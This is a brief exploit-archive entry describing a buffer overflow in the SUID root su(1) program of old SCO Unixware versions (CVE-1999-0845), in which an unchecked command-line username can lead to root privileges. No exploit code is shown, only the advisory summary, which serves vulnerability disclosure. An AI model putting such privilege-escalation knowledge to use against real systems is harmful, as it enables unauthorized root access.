SCO Unixware 2.1/7.0/7.0.1/7.1/7.1.1 su(1) Buffer Overflow Vulnerability. CVE-1999-0845. Local exploit for sco platform

                                        
                                            source: http://www.securityfocus.com/bid/826/info

Certain versions of Unixware ship with a version of su(1) which is vulnerable to a buffer overflow attack. This attack is possible because su(1) fails to sanity check user supplied data, in this instance a username supplied on the command line. Because su(1) is SUID root this attack may result in root privileges.
